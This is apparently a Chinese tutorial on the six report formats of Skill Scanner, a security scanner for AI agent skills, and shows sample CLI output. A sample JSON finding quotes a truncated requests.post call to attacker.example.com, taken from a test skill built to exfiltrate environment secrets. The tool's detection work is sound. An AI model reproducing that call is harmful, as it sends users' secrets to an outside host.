☰
如何读懂Skill Scanner的6种输出格式?JSON、SARIF、HTML报告完整解析指南
2026/10/3 17:03:45 网站建设 项目流程

如何读懂Skill Scanner的6种输出格式?JSON、SARIF、HTML报告完整解析指南

【免费下载链接】skill-scannerSecurity Scanner for Agent Skills项目地址: https://gitcode.com/gh_mirrors/sk/skill-scanner

Skill Scanner 是一款面向 AI Agent Skills 的开源安全扫描工具,能检测提示词注入、数据外泄和恶意代码模式。它内置 6 种输出格式,通过--format参数即可一键切换,覆盖从本地终端排查到 CI/CD 流水线门禁的完整场景。本文将带你快速看懂每种报告的用途、关键字段和最佳实践。

🗺️ 6种输出格式一览

格式命令参数典型用途
Summary--format summary默认格式,本地终端可读摘要
JSON--format json自动化脚本与集成对接
Markdown--format markdownPR / Issue 中的报告附件
Table--format table终端紧凑表格
SARIF--format sarifGitHub Code Scanning 原生上传
HTML--format html自包含交互式分享报告

除了summary直接实现在 CLI 中(skill_scanner/cli/cli.py),其余五种格式各有专属报告器模块,源码位于 skill_scanner/core/reporters/ 目录下,完整说明见 docs/reference/output-formats.md。

📋 Summary:默认终端摘要

不指定--format时,Skill Scanner 默认输出 Summary 格式。它是排查 Skill 时最直观的选择:

$ skill-scanner scan evals/skills/data-exfiltration/environment-secrets ============================================================ Skill: environment-secrets-exfiltrator ============================================================ Status: [FAIL] ISSUES FOUND Max Severity: CRITICAL Total Findings: 5 Scan Duration: 0.13s Findings Summary: CRITICAL: 1 HIGH: 0 MEDIUM: 4 LOW: 0 INFO: 0

读懂要点:重点关注三行信息——Status(是否通过)、Max Severity(最高严重级别)和Total Findings(问题总数)。若一个 Skill 是干净的,会显示Status: [OK] SAFE。

📦 JSON:自动化与集成的首选

JSON 是机器可解析的标准格式,适合流水线消费。核心字段解读如下:

{ "skill_name": "environment-secrets-exfiltrator", "is_safe": false, "max_severity": "CRITICAL", "findings_count": 5, "findings": [ { "id": "DATA_EXFIL_HTTP_POST_d854dba1dc", "rule_id": "DATA_EXFIL_HTTP_POST", "category": "data_exfiltration", "severity": "CRITICAL", "file_path": "get_info.py", "line_number": 56, "snippet": "requests.post(\"https://attacker.example.com/...", "remediation": "Review all POST requests. Ensure they don't send sensitive data", "analyzer": "static" } ], "scan_metadata": { "policy_name": "default", "policy_preset_base": "balanced" }, "llm_usage": { "total_tokens": 6154 } }

关键字段速读:

  • is_safe/max_severity:整体结论,脚本里做判断就靠这两个字段
  • findings[].file_path+line_number:精确定位问题代码
  • findings[].analyzer:标出发现来源(静态规则、字节码、行为分析、LLM 等)
  • scan_metadata:记录所用扫描策略,便于审计追溯
  • llm_usage:启用 LLM 分析器时出现,汇总所有模型调用的 token 消耗

💡 小贴士:机器流水线中加--compact可去掉缩进,输出更紧凑。生成逻辑见 skill_scanner/core/reporters/json_reporter.py。

📊 Table:终端里的紧凑表格

Table 格式把结论和问题列表排成对齐的表格,信息密度比 Summary 更高,适合快速纵览:

+----------------+---------------------+ | Skill | safe-calculator | | Status | [FAIL] ISSUES FOUND | | Max Severity | CRITICAL | +----------------+---------------------+

后续还会按严重级别统计数量,并列出每条发现的「严重级别 | 类别 | 标题 | 位置」四列表格,实现位于 skill_scanner/core/reporters/table_reporter.py。

📝 Markdown:PR 评论的最佳载体

Markdown 格式可直接粘贴到 PR 或 Issue 中渲染。报告包含摘要、按严重级别分组的发现详情,以及本次使用的分析器清单:

# Agent Skill Security Scan Report **Skill:** jailbreak-override **Status:** [FAIL] ISSUES FOUND **Max Severity:** CRITICAL ### CRITICAL Severity #### [CRITICAL] PROMPT INJECTION detected by YARA **Rule ID:** YARA_prompt_injection_generic **Location:** SKILL.md:9

💡 排查需要完整证据链时,加--detailed可在 Markdown 输出中附带完整证据,适合深度 triage。报告器源码:skill_scanner/core/reporters/markdown_reporter.py。

🔍 SARIF:对接 GitHub Code Scanning 的标准

SARIF 2.1.0 是代码扫描领域的事实标准格式。Skill Scanner 生成的 SARIF 报告可直接上传到 GitHub Code Scanning,让告警自动关联到 PR 的具体代码行。

严重级别如何映射到 SARIF level?

Skill Scanner 级别SARIF level含义
CRITICAL / HIGHerror阻断级问题
MEDIUMwarning警告
LOW / INFOnote提示

此外,SARIF 输出还包含两个实用特性:

  • 去重指纹:每条结果带fingerprints字段,避免重复告警刷屏
  • 抑制可见性:被扫描策略抑制的发现不会消失,而是以「已驳回 + 理由」的形式保留在报告中,方便审计

生成逻辑(含级别映射和 URI 解析)见 skill_scanner/core/reporters/sarif_reporter.py。典型 CI 用法:

skill-scanner scan-all ./skills \ --recursive \ --format sarif \ --output results.sarif \ --fail-on-findings

🌐 HTML:可分享的交互式报告

HTML 是自包含的单文件报告,无需任何外部依赖,浏览器直接打开即可。它的特点是:

  • 颜色编码:CRITICAL 到 INFO 五级严重度各有独立配色,一眼锁定高危项
  • 内嵌流水线流程图:展示数据在各分析阶段中的流转路径
  • 支持多 Skill 汇总:scan-all批量扫描时会生成跨 Skill 的综合报告
  • 结论徽章:对 LLM 语义判定结果(MALICIOUS / SUSPICIOUS / SAFE)用醒目的徽章标注

分享扫描结果给团队或评审人时,--format html是最省沟通成本的选项。实现细节:skill_scanner/core/reporters/html_reporter.py。

⚙️ 进阶技巧:让输出格式为你的工作流服务

一次运行,多格式输出

--format可以重复指定,一条命令同时生成多份报告:

skill-scanner scan ./my-skill --format markdown --format sarif

按格式指定输出文件

除了通用的--output/-o,每种格式还有专属落盘参数:--output-json、--output-sarif、--output-markdown、--output-html、--output-table。两者都不指定时,结果打印到 stdout。

CI 门禁:发现高危即失败

配合--fail-on-findings,当存在 CRITICAL 或 HIGH 级别发现时,命令以退出码1结束,直接让 CI 流水线红灯。也可以用--fail-on-severity medium自定义触发级别。

✅ 场景速查:该选哪种格式?

你的场景推荐格式理由
本地开发随手扫一眼summary终端可读,零配置
CI/CD 流水线门禁json或sarif机器可解析,配合--fail-on-findings
上传 GitHub Code Scanningsarif原生支持,告警定位到代码行
PR 评论 / Issue 附件markdown直接渲染,阅读体验好
终端快速总览table紧凑的列式摘要
分享给团队评审html自包含、可视化、可交互

总结

Skill Scanner 的 6 种输出格式覆盖了「人看」与「机器看」的全部需求:Summary 和 Table 服务本地排查,Markdown 和 HTML 负责报告分享,JSON 和 SARIF 支撑自动化集成。掌握--format、--output和--fail-on-findings这几个核心参数后,你就能把扫描结果无缝嵌入自己的安全开发流程。更多参数细节可参考 CLI 使用指南 和 CLI 命令参考。

【免费下载链接】skill-scannerSecurity Scanner for Agent Skills项目地址: https://gitcode.com/gh_mirrors/sk/skill-scanner

创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询